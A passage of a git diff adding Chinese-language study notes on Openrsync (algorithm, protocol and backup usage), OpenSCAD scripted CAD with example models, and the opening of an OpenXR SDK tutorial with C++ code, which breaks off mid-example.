**rsyncd(5)** 文本协议,再进入 **rsync(5)** 二进制协议。 + +### 3. 文件列表与块交换(Block exchange) + +算法主干(Andrew Tridgell & Paul Mackerras 的 rsync 论文): + +1. **Sender 生成文件列表**(路径、模式、mtime 等元数据),双方按路径字典序排序,之后可用下标指代文件。 +2. **Receiver 遍历列表**,对每个文件决定要不要更新: + - **符号链接 / 目录**:多半靠元数据直接建好,不向 sender 要块。 + - **普通文件**:若大小 + mtime 已一致(除非 `-I` 忽略时间),跳过。 +3. 需要更新时,Receiver 把文件切成固定大小的 **block**(块大小 ≈ `ceil(sqrt(filesize))`,最小 700 字节,再向上取 8 的倍数),对每块算 **快哈希(Adler-32 型,4 字节)** 和 **慢哈希(MD4,16 字节)**,发给 Sender。 +4. Sender 在源文件上滑动窗口匹配这些哈希;匹配到的块只发「块编号」,匹配不到的间隙发**原始字节流**。 +5. Receiver 按指令拼出目标文件,最后双方做 **整文件 MD4** 校验。 + +这就是「只传 diff」的魔法:**广域网上传的是块索引 + 少量新字节**,不是整文件重传。 + +### 4. Openrsync 相对 GPL rsync 的架构差异 + +| 维度 | GPL rsync | Openrsync | +|------|-----------|-----------| +| Receiver 内部 | receiver + **独立 generator 子进程**(`fork`) | **单进程 + 事件循环** | +| 并发模型 | 多进程管道 | uploader / downloader 协程式状态机 | +| 安全 | 依赖部署习惯 | **pledge** 限制 syscall,**unveil** 限制可见目录树 | +| 协议文档 | 社区 wiki / 源码 | 自带 **rsync(5)**、**rsyncd(5)** man 页 | + +Receiver 同时要 **上传块哈希** 和 **接收写入数据**,Openrsync 在 `uploader.c` / `downloader.c` 里用事件循环交错处理,避免 GPL 版那种「一个进程专门生成请求、另一个专门写盘」的 fork 模型。 + +### 5. 协议与数据格式要点 + +- 二进制帧:**小端序**。 +- 多路复用:传输包外再套一层 **multiplexing envelope**(见 `rsync(5)`)。 +- 校验和类型:**long(慢)**、**short(快)**、**whole-file** 三种。 +- 服务端模式用 `arc4random` 播种 MD4,而不是 `time()`,降低可预测性。 + +## 实践案例 + +### 案例 1:日常备份(archive 语义) + +`-a` 等价于 `-Dgloprt`:递归、符号链接、权限、时间戳等一起带上,适合镜像一台开发机的主目录子树: + +```bash +# dry-run 先看会传什么 +openrsync -anv ~/Projects/ user@backup.internal:archive/Projects/ + +# 确认无误后正式同步 +openrsync -av --delete ~/Projects/ user@backup.internal:archive/Projects/ +``` + +**逐 flag 解释**: + +- `-a` / `--archive`:常用「整包归档」 shorthand +- `-n`:不写字节,只打印计划(和 GPL rsync 一样) +- `-v`:verbosity;多叠几次能看到每个文件的块级细节 +- `--delete`:目标有、源没有的条目删掉——**镜像语义**,用前务必想清楚 + +### 案例 2:与上游 rsync 互通(显式指定远端程序) + +远端默认 PATH 里若是 `rsync` 而不是 `openrsync`,本机 Openrsync 可以强制远端也跑 Openrsync: + +```bash +openrsync -rt --rsync-path=openrsync ./build/ user@host:/var/www/release/ +``` + +反过来的场景——本机只有 Openrsync,对端是经典 rsync 守护进程: + +```bash +openrsync -rt --port=873 rsync://mirror.example.com/module/path/ ./local-mirror/ +``` + +**互通铁律**:只用 **两边 man 页都列出** 的选项;Openrsync 不支持 `--compress`、`-z` 等 GPL 版大量扩展 flag。 + +### 案例 3:rsyncd 握手在干什么(读懂协议层) + +连接 `rsync://host/module` 时,先走一段 **明文行协议**(`rsyncd(5)`),再切到二进制 `rsync(5)`。客户端大致发送: + +```text +module_name\n +@RSYNCD: 27\n +--server\n +--sender\n +-r\n +-t\n +.\n +path1\n +path2\n +\n +``` + +服务端回 `@RSYNCD: OK` 并给出 checksum seed 后,**multiplexing 开启**,后续就是块交换。Openrsync 把这套写进 man 页,对想写「自己的 rsync 客户端」的人很友好。 + +### 案例 4:排除规则与体积门槛 + +```bash +openrsync -rt \ + --exclude='*.o' \ + --exclude='.git/' \ + --max-size=100m \ + ./artifact/ user@host:incoming/ +``` + +`--exclude-from=file` 可维护复杂规则;`--min-size` / `--max-size` 支持 `scan_scaled(3)` 风格后缀(如 `10M`)。 + +## 踩过的坑 + +1. **选项超集幻觉**:习惯了 `rsync -avz --progress` 的人,在 Openrsync 上会直接报错或静默缺功能。**先查 `openrsync(1)`**,不要肌肉记忆 GPL 版。 + +2. **时间戳与二次同步**:man 页示例反复强调加 `-t`:若目标 mtime 变成「同步时刻」,下次会把**同一文件**再算一遍块哈希。备份脚本里 `-t` 几乎是默认项。 + +3. **`--delete` 方向搞反**:它是「让目标像源」,不是「让源像目标」。对 `openrsync src/ dest/` 而言,删的是 **dest 里多出来的**,不是 src。 + +4. **双远端不支持**:`hostA:foo hostB:bar` 不行;要中转只能 `openrsync A:foo /tmp/stage && openrsync /tmp/stage B:bar`。 + +5. **权限与 `-o` / `-g`**:保留属主要 root;Openrsync 用名称映射 UID/GID,跨系统用户名不一致时加 `--numeric-ids`。 + +6. **安全移植到 Linux**:官方立场是 **pledge/unveil 不可随意阉割**;在非 OpenBSD 上编译能跑,但网络对端写入文件系统时,sandbox 行为取决于移植层——**公网暴露 rsyncd 要格外小心**。 + +7. **退出码 2**:表示对端协议版本**比本机旧**,不是普通 I/O 错误。 + +## 适用 vs 不适用场景 + +**适用**: + +- OpenBSD / 注重许可证纯净的 BSD 系环境做增量备份 +- 需要和 **rsync 3.1.x / 协议 27** 对端互通的常规文件同步 +- 学习 rsync 协议本身(配合 `rsync(5)` 读源码) +- RPKI、镜像站等「可预测子集」的拉取同步 + +**不适用**: + +- 依赖 GPL rsync 独有特性(压缩传输、大量 legacy 选项、`--link-dest` 硬链接农场等)的复杂流水线 +- 需要「源和目标同时在不同远程主机」的双跳直连 +- Windows 原生环境(无官方支持;WSL/SSH 另论) +- 把 rsync 当实时双向同步引擎——它是**批量单向对齐**工具,不是 Dropbox + +## 历史 + +- **2018–2019**:Kristaps Dzonsons 为 **rpki-client** 项目开发 Openrsync,资助方包括 NetNod、IIS.SE、SUNET、6connect +- **2019 年 4 月**:随 **OpenBSD 6.5** 进入发行版,成为基座工具 +- **此后**:上游开发迁至 OpenBSD CVS;GitHub 仓库 `kristapsdz/openrsync` 保留**可移植胶水**(oconfigure),补丁发 `tech@openbsd.org` +- **协议**:锁定 **rsync protocol 27**(与 rsync 3.1.3 测试互通) +- **移植**:Linux(glibc/musl)、FreeBSD、NetBSD、macOS、OmniOS 等可通过 CI 构建,但**官方只背书 OpenBSD 安全路径** + +## 学到什么 + +1. **协议与实现解耦**——学会 rsync 算法,不等于只会敲 `rsync` 命令;Openrsync 证明同一协议可以有更小、更可审计的实现。 +2. **安全要进架构,不是事后打补丁**——`pledge` / `unveil` 在接收网络数据写盘前就把能力收窄,比「跑在 Docker 里就算安全」更底层。 +3. **事件循环可以替代多进程**——GPL rsync 的 generator 子进程是历史设计;Openrsync 用 uploader/downloader 状态机达到同样协议行为。 +4. **许可证也是工程决策**——ISC 基座 + 一万行 C,对 BSD 生态比「GPL 工具链里塞一个 GPLv3 二进制」更干净。 +5. **子集兼容是刻意选择**——少 flag 不是偷懒,而是降低测试矩阵和攻击面;和上游互通时要**自觉降级选项**。 + +## 关联 + +- [[rsync]] —— GPL 参考实现,功能超集 +- [[openssh]] / SSH —— 默认传输通道(`-e ssh`) +- [[ansible]] —— 常用 `synchronize` 模块封装 rsync;在 OpenBSD 控制节点可改用 openrsync +- [[zfs]] —— 快照 + send/receive 是另一路增量复制;与 rsync 块算法互补 +- [[rpki-client]] —— Openrsync 的原始资助场景之一 + +## 延伸阅读 + +- [openrsync(1) — OpenBSD Manual](https://man.openbsd.org/openrsync.1) — 命令行与示例的权威入口 +- [rsync(5) / rsyncd(5) — OpenBSD Manual](https://man.openbsd.org/rsync.5) — 自包含的协议说明,适合实现第三方客户端 +- [kristapsdz/openrsync — GitHub](https://github.com/kristapsdz/openrsync) — 可移植构建与架构 README +- [The rsync algorithm (tech report)](https://rsync.samba.org/tech_report/) — 块交换算法原始论文 +- Andrew Tridgell PhD thesis — *Efficient Algorithms for Sorting and Synchronization* — 更完整的理论背景 + +## 反向链接 + + diff --git a/src/content/docs/projects/openscad.md b/src/content/docs/projects/openscad.md new file mode 100644 index 000000000..cf1289065 --- /dev/null +++ b/src/content/docs/projects/openscad.md @@ -0,0 +1,270 @@ +--- +title: OpenSCAD — 脚本式 CAD +来源: https://github.com/openscad/openscad +日期: 2026-06-13 +分类: 图形学 +子分类: 渲染与图形 +provenance: pipeline-v3 +难度: 初级 +--- + +## 是什么 + +**OpenSCAD** 是一款**免费开源**的脚本式 3D CAD 建模器,源码托管于 [openscad/openscad](https://github.com/openscad/openscad)。名字里的 **S** 代表 **Scriptable**——你用一段 `.scad` 脚本描述几何体如何生成,程序再把它**编译**成可导出的 3D 网格(STL / 3MF / AMF / OFF 等),交给切片软件或 CNC 后处理。 + +日常类比:传统 CAD(如 Fusion 360、SolidWorks)像**在 Clay 工作室里徒手捏泥**——鼠标拖面、拉边、加约束,每一步都落在可视化的特征树上。OpenSCAD 则像**写菜谱**:先声明「一块 20×10×2 的豆腐(`cube`)」,再写「中间挖一个半径 3 的圆洞(`difference` + `cylinder`)」,最后「整盘端上桌(`render`)」。改尺寸不用回去找某条草图约束,改一行变量 `plate_w = 30` 全文联动——这就是**参数化设计**。 + +再打个比方:如果把 [[blender]] 看作「拍电影」的综合制片厂,OpenSCAD 更像**精密机械车间里的数控机床程序**——不追求有机曲面雕刻和动画,专攻**可重复、可版本管理、可 diff 的实体零件**:支架、齿轮盒、连接器外壳、3D 打印治具。Maker 社区里大量 Thingiverse / Printables 模型附带 `.scad` 源文件,改几个参数就能适配你的打印机或螺丝规格。 + +最小可运行脚本: + +```scad +// 一个 10mm 立方体,默认落在原点附近 +cube(10); +``` + +保存为 `hello.scad`,按 **F5** 预览(CGAL 快速预览)或 **F6** 完整渲染(CGAL / Manifold 内核),右侧即出现实体。没有「画一条线」的交互——**代码即模型**。 + +## 为什么重要 + +零基础学「能打印出来的 3D」,OpenSCAD 有几个独特价值: + +- **程序员友好**:语法接近 C;模型是文本,可 `git diff`、Code Review、CI 里批量导出 STL +- **参数化一等公民**:外壳厚度、孔距、螺纹规格写成变量或 `module` 参数,改一处全局生效 +- **CSG 思维清晰**:`union` / `difference` / `intersection` 组合 primitive,逻辑比「特征树回溯」直观 +- **3D 打印生态默认选项之一**:与 [[freecad]]、Fusion 并列;BOSL2、Round-Anything 等库把常见机械特征封装成模块 +- **零订阅、跨平台**:GPLv2,Windows / macOS / Linux;也可无头调用 `openscad -o part.stl part.scad` + +代价也要心里有数:**不适合**角色雕刻、复杂 NURBS 曲面、装配体运动仿真;曲面质量由 `$fn` 多边形逼近控制,需要你自己管网格精度。 + +## 核心要点 + +### 1. 构造实体几何(CSG) + +OpenSCAD 用 **Constructive Solid Geometry** 从简单实体「布尔运算」出复杂形状: + +| 运算 | 含义 | 日常类比 | +| --- | --- | --- | +| `union()` | 合并为一体 | 把两块乐高扣在一起 | +| `difference()` | 第一个减去后面的 | 饼干模具压出形状 | +| `intersection()` | 只保留重叠部分 | 两个模具叠在一起,只留交集 | + +**第一个子物体**在 `difference()` 里是「被挖的母体」;后面全是「钻头」。`union()` 可省略——相邻写多个 primitive 默认就是 union。 + +### 2. 三维原语(Primitives) + +| 模块 | 典型参数 | 说明 | +| --- | --- | --- | +| `cube([x,y,z], center=)` | 边长或三轴尺寸 | `cube(10)` = 各边 10 的正方体 | +| `sphere(r=)` / `sphere(d=)` | 半径或直径 | 球体,实际是多面体逼近 | +| `cylinder(h=, r=, center=)` | 高、半径 | 圆柱;`h` 沿 Z | +| `polyhedron(points, faces)` | 点表、面索引 | 低层自定义网格 | + +二维原语 `circle`、`square`、`polygon` 常配合 `linear_extrude()` / `rotate_extrude()` 拉成 3D。 + +### 3. 变换(Transformations) + +变换是**修饰符**:作用于紧跟其后的一个模块或 `{ ... }` 块,本身不以分号结尾。 + +```scad +translate([10, 0, 0]) // 沿 X 平移 10 +rotate([0, 90, 0]) // 绕 Y 轴转 90° +scale([1, 1, 2]) // Z 方向拉伸 2 倍 +``` + +坐标系:**右手系**,X 右、Y 前(指向你)、Z 上。单位默认**毫米**(可在 Preferences 改)。 + +### 4. 变量与不可变语义 + +```scad +width = 20; +width = 30; // 同一作用域内「后者覆盖前者」,不是命令式赋值 +echo(width); // 输出 30 +``` + +OpenSCAD 变量更像**数学里的常量绑定**:在单次求值(一次 F6 渲染)中,名字对应一个值。想「循环里递增」要用 `for` 或递归函数,不能 `i = i + 1`。 + +特殊变量:`$fn`(圆周分段数)、`$fa`(最小面角)、`$fs`(最小边长)控制曲面网格密度。预览可 `$fn = 24`,导出前 `$fn = 64` 或更高。 + +### 5. 模块(module)与函数(function) + +- **`function`**:算值、返回向量/数字,**不产生几何** +- **`module`**:打包几何,可重复实例化,类似「自定义积木」 + +```scad +function inch(mm) = mm / 25.4; + +module rounded_plate(w, d, h, r) { + minkowski() { + cube([w - 2*r, d - 2*r, h - r], center = true); + cylinder(r = r, h = r, center = true); + } +} +``` + +`children()` 让模块当「运算符」处理子几何——高级库常用。 + +### 6. 控制流 + +- `for (i = [0:5])` / `for (x = [0, 10, 20])` 阵列复制 +- `if (condition) { ... } else { ... }` 条件几何 +- 列表推导:`[for (i = [0:3]) i * 10]` → `[0, 10, 20, 30]` + +### 7. 2D → 3D 挤出 + +```scad +linear_extrude(height = 10, center = true) + circle(d = 20); + +rotate_extrude(angle = 360) + translate([30, 0, 0]) + circle(r = 5); // 甜甜圈(torus) +``` + +`import("profile.dxf")` 可导入外部 2D 轮廓再挤出——与 [[inkscape]] 导出的 DXF 可协作。 + +### 8. 渲染与导出 + +| 按键 / 命令 | 作用 | +| --- | --- | +| **F5** | 预览(快,可能不精确) | +| **F6** | 完整 CGAL/Manifold 渲染 | +| `render()` | 强制求值 CSG 树,减少预览差异 | +| CLI | `openscad -o out.stl model.scad` | + +2024 年起 **Manifold** 内核显著加快布尔运算,复杂 `difference` 不再等到天荒地老。 + +## 实践案例 + +### 案例 1:带圆角的安装板(CSG 入门) + +在一块板上打四个角孔,中心沉头座——典型 3D 打印支架逻辑: + +```scad +$fn = 48; + +plate_w = 60; +plate_d = 40; +plate_h = 3; +hole_d = 3.2; // M3 通孔略大于 3.0 +corner_r = 5; +inset = 8; + +difference() { + // 母体:圆角矩形板(minkowski 近似圆角) + minkowski() { + cube([plate_w - 2*corner_r, plate_d - 2*corner_r, plate_h], center = true); + cylinder(r = corner_r, h = 0.01, center = true); + } + + // 四角通孔 + for (dx = [-1, 1], dy = [-1, 1]) { + translate([ + dx * (plate_w/2 - inset), + dy * (plate_d/2 - inset), + 0 + ]) + cylinder(d = hole_d, h = plate_h + 2, center = true); + } + + // 顶面浅沉台(示意) + translate([0, 0, plate_h/2 - 0.5]) + cylinder(d = 12, h = 1.1, center = true); +} +``` + +**读懂这段代码**: + +- `difference()` 第一子节点是「板」;后面所有 `cylinder` 都从板里**减掉** +- `for (dx = [-1, 1], dy = [-1, 1])` 双重循环 = 四个象限各打一个孔,不用复制粘贴四段 +- `h = plate_h + 2` 让钻头比板厚一点,避免「挖不透」的渲染瑕疵 +- 改 `plate_w` / `hole_d` 即可适配不同打印机或螺丝——参数化价值在这里 + +### 案例 2:参数化齿轮盒模块(`module` + 条件) + +把「盒子 + 可选盒盖」封装成可复用模块: + +```scad +$fn = 64; + +module box_with_lid(outer, inner, height, wall, lip = 2, add_lid = true) { + // 外盒:外形减去内腔 + difference() { + cube(outer, center = true); + translate([0, 0, wall]) + cube([inner[0], inner[1], height], center = true); + } + + // 顶部凸唇(与盒盖干涉配合) + translate([0, 0, height/2]) + difference() { + cube([outer[0], outer[1], lip], center = true); + translate([0, 0, lip/2]) + cube([inner[0], inner[1], lip + 0.1], center = true); + } + + if (add_lid) { + translate([0, 0, height/2 + lip + 2]) + difference() { + cube([outer[0], outer[1], wall], center = true); + translate([0, 0, -0.05]) + cube([inner[0] + 0.4, inner[1] + 0.4, wall + 0.1], center = true); + } + } +} + +box_with_lid( + outer = [50, 40, 30], + inner = [46, 36, 25], + height = 25, + wall = 2, + add_lid = true +); +``` + +**要点**: + +- `module` 参数带默认值 `lip = 2`、`add_lid = true`,调用时可只改关心的量 +- `if (add_lid)` 根据布尔参数决定是否生成盒盖——同一脚本预览「有盖 / 无盖」 +- `inner[0] + 0.4` 留 0.2mm 单边间隙,FDM 打印常见的配合公差(需按材料微调) + +### 案例 3:命令行批量导出 + +文档站或 CI 里从同一 `.scad` 出多个规格: + +```bash +openscad -D 'plate_w=80' -D 'plate_d=50' -o bracket_80x50.stl bracket.scad +openscad -D 'plate_w=100' -o bracket_100x40.stl bracket.scad +``` + +`-D` 在命令行覆盖变量,适合矩阵测试孔距或批量生成 SKU。 + +## 与相近工具怎么选 + +| 场景 | 更合适的工具 | +| --- | --- | +| 参数化支架、治具、盒体 | **OpenSCAD** | +| 有机造型、雕刻、动画 | [[blender]] | +| 全功能机械 CAD + 草图约束 | [[freecad]]、Fusion 360 | +| 2D 激光切割路径 | [[inkscape]] → DXF → OpenSCAD `import` | + +OpenSCAD 常与 **BOSL2**(螺栓库、圆角、壳体)、**dotSCAD** 等库搭配;学习路径:官方 Cheat Sheet → Advent Calendar 2024 教程仓库 → 读 Thingiverse 上带 `.scad` 的模型反推。 + +## 常见坑 + +1. **预览与渲染不一致**:复杂 `difference` 用 F6 / `render()` 再导出 +2. **`$fn` 太低**:圆柱看起来像八边形;导出前提高 `$fn` 或设 `$fa` / `$fs` +3. **非流形(non-manifold)**:两的面共面、零厚度边会导致 STL 切片失败——保证实体有体积,孔要穿透 +4. **变量当循环计数器**:OpenSCAD 不是 Python;用 `for` 枚举 +5. **单位混乱**:团队项目开头注释 `// units: mm` + +## 延伸 + +- 官方文档与 Cheat Sheet:[openscad.org/documentation](https://openscad.org/documentation.html) +- 用户手册(CSG、变换、模块):[OpenSCAD User Manual](https://en.wikibooks.org/wiki/OpenSCAD_User_Manual) +- 下游:PrusaSlicer、Cura、Bambu Studio 切片;OctoPrint 远程打印 +- 相关笔记:[[blender]]、[[freecad]]、[[inkscape]]、[[buildroot]](嵌入式外壳常与 3D 打印件配合) + +--- + +*学习路径建议:先手写「立方体 + 差集挖孔」→ 加 `for` 阵列 → 抽 `module` → 读一个开源 `.scad` 分模块改参数 → 再考虑 BOSL2。每天 30 分钟,一周可独立改打印件尺寸。* diff --git a/src/content/docs/projects/openxr-sdk.md b/src/content/docs/projects/openxr-sdk.md new file mode 100644 index 000000000..3ec63f473 --- /dev/null +++ b/src/content/docs/projects/openxr-sdk.md @@ -0,0 +1,290 @@ +--- +title: OpenXR SDK — Khronos VR/AR 标准 +来源: 'https://github.com/KhronosGroup/OpenXR-SDK-Source' +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +provenance: pipeline-v3 +难度: 中级 +--- + +## 是什么 + +**OpenXR** 是 Khronos Group 制定的 **跨平台 XR(扩展现实)API 标准**,覆盖 VR、AR、MR 整条光谱。日常类比:如果把各家头显(Quest、SteamVR、Windows MR、Pico……)比作不同品牌的「电影院放映系统」,那 OpenXR 就是**统一的电影票与放映协议**——你按同一套流程买票(创建实例)、选厅(绑定系统)、租银幕(Swapchain)、按帧放映(提交合成层),放映厅内部怎么接线由各家 Runtime 自己搞定,应用不必为每个品牌重写一套集成代码。 + +[OpenXR-SDK-Source](https://github.com/KhronosGroup/OpenXR-SDK-Source) 仓库提供 **Loader(加载器)**、示例 API Layer、**hello_xr** 等参考实现与构建脚本;若只想在应用里链接头文件和预编译 Loader,更轻量的 [OpenXR-SDK](https://github.com/KhronosGroup/OpenXR-SDK) 已包含生成好的 `openxr.h`,无需 Python 代码生成。规范当前主线为 **OpenXR 1.1**,Apache-2.0 协议。 + +``` +应用 (Application) + ↓ 调用 xrCreateInstance / xrWaitFrame … +OpenXR Loader ← SDK 里你链接的库 + ↓ 可选注入 +API Layers ← 校验层、性能分析层等 + ↓ +XR Runtime ← Meta、Steam、Monado 等,管合成、追踪、输入 + ↓ +头显 / 手柄 / 摄像头硬件 +``` + +## 为什么重要 + +不了解 OpenXR,下面这些事很难讲清楚: + +- 为什么同一款 PC VR 游戏能在 SteamVR 与 Windows Mixed Reality 上跑——应用只对着 OpenXR Runtime,不直接绑厂商 SDK +- 为什么 Quest 上既有原生 OpenXR 路径,也有通过兼容层转调的情况——**Loader 在运行时探测「当前活跃 Runtime」** 并绑定到 `XrInstance` +- 为什么图形 API 可以是 Vulkan、OpenGL、D3D11/12——通过 **KHR 扩展**(如 `XR_KHR_vulkan_enable`)把已有渲染管线「挂」进 Session,而不是另起一套 GPU API +- 为什么输入不再写死「A 键 / 扳机」——**Action / ActionSet** 把语义动作与具体手柄布局解耦,Runtime 负责建议绑定 + +## 核心概念 + +### 1. Loader 与 Runtime + +**Loader** 是应用链接的薄库:负责枚举扩展、加载 API Layer、在 `xrCreateInstance` 时选中系统上**当前活跃**的 Runtime,并为每个 `XrInstance` 构建 **dispatch table**(函数调用链)。**Runtime** 则掌控完整 XR 子系统:姿态预测、帧合成、显示时序、设备驱动。类比:Loader 像电话总机,Runtime 像具体营业厅——你拨的是同一号码,接通哪家由当时在线的那家决定。 + +### 2. Instance(`XrInstance`)— 与 Runtime 的「总合同」 + +`xrCreateInstance` 传入 `XrInstanceCreateInfo`(应用名、API 版本、要启用的扩展列表),得到无父句柄的 `XrInstance`。之后几乎所有查询(扩展、系统、图形需求)都从这里出发。销毁 Instance 会级联销毁其下 Session、Space 等子句柄。 + +### 3. System(`XrSystemId`)— 逻辑上的「一套 XR 设备组」 + +`xrGetSystem` 根据 `XrFormFactor`(如 `XR_FORM_FACTOR_HEAD_MOUNTED_DISPLAY`)选中 Runtime 提供的一套显示 + 追踪 + 输入组合。你不需要知道具体是 Quest 3 还是 Index,只需对 `systemId` 创建 Session。 + +### 4. Session(`XrSession`)— 可渲染、可收输入的「工作会话」 + +`xrCreateSession` 必须附带 **图形绑定**(`XrGraphicsBindingVulkanKHR` 等,通过 `next` 链挂在 `XrSessionCreateInfo` 上)。Session 有状态机:`IDLE` → `READY` → `SYNCHRONIZED` → `VISIBLE` → `FOCUSED` → …,应用应在 `FOCUSED` 且已 `xrBeginSession` 后才跑帧循环。类比:Instance 是会员卡,Session 是你真正走进场馆、戴上头显的那一刻。 + +### 5. Swapchain 与帧循环 — 「双眼画布」的租借与归还 + +每个 Swapchain 是一组 GPU 图像(常为左右眼各一条链)。标准帧序列为: + +1. `xrWaitFrame` — 等 Runtime 给出本帧 `predictedDisplayTime` +2. `xrBeginFrame` +3. 对每个 Swapchain:`xrAcquireSwapchainImage` → 渲染 → `xrWaitSwapchainImage` → `xrReleaseSwapchainImage` +4. `xrEndFrame` — 提交 `XrCompositionLayerProjection` 等合成层 + +Runtime 负责畸变、合成、重投影;应用只填「每层里左右眼的视图矩阵与 Swapchain 切片」。 + +### 6. Space、View、Action — 追踪、相机与输入 + +- **Space**(`XrSpace`):坐标系锚点(`VIEW`、`LOCAL`、`STAGE` 等),`xrLocateSpace` 得位姿 +- **View**:每帧 `xrLocateViews` 返回左右眼 FOV、位姿,用于投影矩阵 +- **ActionSet / Action**:声明「跳跃」「抓取」等语义;`xrSyncActions` 后读 `XrActionState*`;手柄物理键由 Runtime 通过 **Interaction Profile** 建议绑定 + +### 7. 扩展(Extension)与 API Layer + +**扩展**以 `XR_KHR_*`、`XR_EXT_*` 等字符串启用,能力从图形绑定到手部追踪、透视混合等。**API Layer** 可选插入 Loader 与 Runtime 之间,用于校验、截帧、性能统计——类似 Vulkan Validation Layer。 + +## 第一个示例:最小 Instance 创建与扩展探测(C++) + +下列代码展示零基础应用最常写的「第一步」:创建 Instance、查询 Runtime 名称与版本、枚举一层扩展、干净退出。错误处理用 `XR_CHECK` 宏简化(生产代码应完整处理 `XrResult`)。 + +```cpp +#define XR_USE_PLATFORM_WIN32 +#define XR_USE_GRAPHICS_API_VULKAN +#include +#include +#include +#include + +#define XR_CHECK(expr) \ + do { \ + XrResult r = (expr); \ + if (XR_FAILED(r)) { \ + std::cerr << "OpenXR error " << r << " at " << __FILE__ << ":" << __LINE__ << "\n"; \ + return 1; \ + } \ + } while (0) + +int main() { + XrInstance instance{XR_NULL_HANDLE}; + + XrInstanceCreateInfo createInfo{XR_TYPE_INSTANCE_CREATE_INFO}; + createInfo.applicationInfo.apiVersion = XR_CURRENT_API_VERSION; + strncpy(createInfo.applicationInfo.applicationName, "HelloOpenXR", + XR_MAX_APPLICATION_NAME_SIZE); + strncpy(createInfo.applicationInfo.engineName, "StudyNotes", + XR_MAX_ENGINE_NAME_SIZE); + createInfo.applicationInfo.applicationVersion = 1; + createInfo.applicationInfo.engineVersion = 1; + + const char* extensions[] = {XR_KHR_VULKAN_ENABLE_EXTENSION_NAME}; + createInfo.enabledExtensionCount = 1; + createInfo.enabledExtensionNames = extensions; + + XR_CHECK(xrCreateInstance(&createInfo, &instance)); + + XrInstanceProperties props{XR_TYPE_INSTANCE_PROPERTIES}; + XR_CHECK(xrGetInstanceProperties(instance, &props)); + std::cout << "Runtime: " << props.runtimeName + << " (version " << XR_VERSION_MAJOR(props.runtimeVersion) << "." + << XR_VERSION_MINOR(props.runtimeVersion) << "." + << XR_VERSION_PATCH(props.runtimeVersion) << ")\n"; + + uint32_t extCount = 0; + XR_CHECK(xrEnumerateInstanceExtensionProperties(nullptr, 0, &extCount, nullptr)); + std::vector extProps( + extCount, {XR_TYPE_EXTENSION_PROPERTIES}); + XR_CHECK(xrEnumerateInstanceExtensionProperties( + nullptr, extCount, &extCount, extProps.data())); + std::cout << "Instance extensions available: " << extCount << "\n"; + + xrDestroyInstance(instance); + return 0; +} +``` + +编译时需链接平台 Loader(Windows 上常为 `openxr_loader`),并保证头显对应的 Runtime 已安装,否则 `xrCreateInstance` 可能失败或枚举不到 HMD 系统。 + +## 第二个示例:Session 帧循环骨架(伪代码 + 关键 API) + +完整 Vulkan/D3D 绑定篇幅很长,下面抽出**与图形 API 无关的帧骨架**,对应 `hello_xr` 主循环结构;左右眼各一条 Swapchain 时,在 `RenderView` 内对 `swapchainIndex` 做 GPU 绘制即可。 + +```cpp +// 假定已完成:instance, systemId, session, swapchains[], spaces... + +void XrApp::PollEvents() { + XrEventDataBuffer event{XR_TYPE_EVENT_DATA_BUFFER}; + while (xrPollEvent(instance, &event) == XR_SUCCESS) { + if (event.type == XR_TYPE_EVENT_DATA_SESSION_STATE_CHANGED) { + auto* ev = reinterpret_cast(&event); + sessionState = ev->state; + if (sessionState == XR_SESSION_STATE_READY) { + XrSessionBeginInfo beginInfo{XR_TYPE_SESSION_BEGIN_INFO}; + beginInfo.primaryViewConfigurationType = + XR_VIEW_CONFIGURATION_TYPE_PRIMARY_STEREO; + xrBeginSession(session, &beginInfo); + } + if (sessionState == XR_SESSION_STATE_STOPPING) { + xrEndSession(session); + } + } + } +} + +void XrApp::RenderFrame() { + if (sessionState != XR_SESSION_STATE_FOCUSED) return; + + XrFrameWaitInfo waitInfo{XR_TYPE_FRAME_WAIT_INFO}; + XrFrameState frameState{XR_TYPE_FRAME_STATE}; + XR_CHECK(xrWaitFrame(session, &waitInfo, &frameState)); + + XrFrameBeginInfo beginInfo{XR_TYPE_FRAME_BEGIN_INFO}; + XR_CHECK(xrBeginFrame(session, &beginInfo)); + + // 定位双眼视图(FOV + 位姿) + XrViewState viewState{XR_TYPE_VIEW_STATE}; + uint32_t viewCount = 2; + std::array views{ + XrView{XR_TYPE_VIEW}, XrView{XR_TYPE_VIEW}}; + XrViewLocateInfo locateInfo{XR_TYPE_VIEW_LOCATE_INFO}; + locateInfo.viewConfigurationType = XR_VIEW_CONFIGURATION_TYPE_PRIMARY_STEREO; + locateInfo.displayTime = frameState.predictedDisplayTime; + locateInfo.space = appSpace; + XR_CHECK(xrLocateViews(session, &locateInfo, &viewState, viewCount, &viewCount, + views.data())); + + for (uint32_t eye = 0; eye < viewCount; ++eye) { + uint32_t imageIndex = 0; + XrSwapchainImageAcquireInfo acquireInfo{XR_TYPE_SWAPCHAIN_IMAGE_ACQUIRE_INFO}; + XR_CHECK(xrAcquireSwapchainImage(swapchains[eye], &acquireInfo, &imageIndex)); + // --- 在此用 Vulkan/OpenGL/D3D 渲染到 swapchainImages[eye][imageIndex] --- + XrSwapchainImageWaitInfo waitImg{XR_TYPE_SWAPCHAIN_IMAGE_WAIT_INFO}; + waitImg.timeout = XR_INFINITE_DURATION; + XR_CHECK(xrWaitSwapchainImage(swapchains[eye], &waitImg)); + XrSwapchainImageReleaseInfo releaseInfo{XR_TYPE_SWAPCHAIN_IMAGE_RELEASE_INFO}; + XR_CHECK(xrReleaseSwapchainImage(swapchains[eye], &releaseInfo)); + } + + XrCompositionLayerProjectionView projViews[2] = {/* 填 pose、fov、subImage */}; + XrCompositionLayerProjection layer{XR_TYPE_COMPOSITION_LAYER_PROJECTION}; + layer.space = appSpace; + layer.viewCount = 2; + layer.views = projViews; + + const XrCompositionLayerBaseHeader* layers[] = { + reinterpret_cast(&layer)}; + XrFrameEndInfo endInfo{XR_TYPE_FRAME_END_INFO}; + endInfo.displayTime = frameState.predictedDisplayTime; + endInfo.environmentBlendMode = XR_ENVIRONMENT_BLEND_MODE_OPAQUE; + endInfo.layerCount = 1; + endInfo.layers = layers; + XR_CHECK(xrEndFrame(session, &endInfo)); +} +``` + +要点:**显示时间戳**(`predictedDisplayTime`)在 `WaitFrame`、`LocateViews`、`EndFrame` 间保持一致,Runtime 才能做异步重投影;Swapchain 图像必须成对 acquire/release,否则下帧会卡住。 + +## 第三个示例:Action 输入(声明语义,不绑物理键) + +```cpp +XrActionSet actionSet{XR_NULL_HANDLE}; +XrAction grabAction{XR_NULL_HANDLE}; + +XrActionSetCreateInfo setInfo{XR_TYPE_ACTION_SET_CREATE_INFO}; 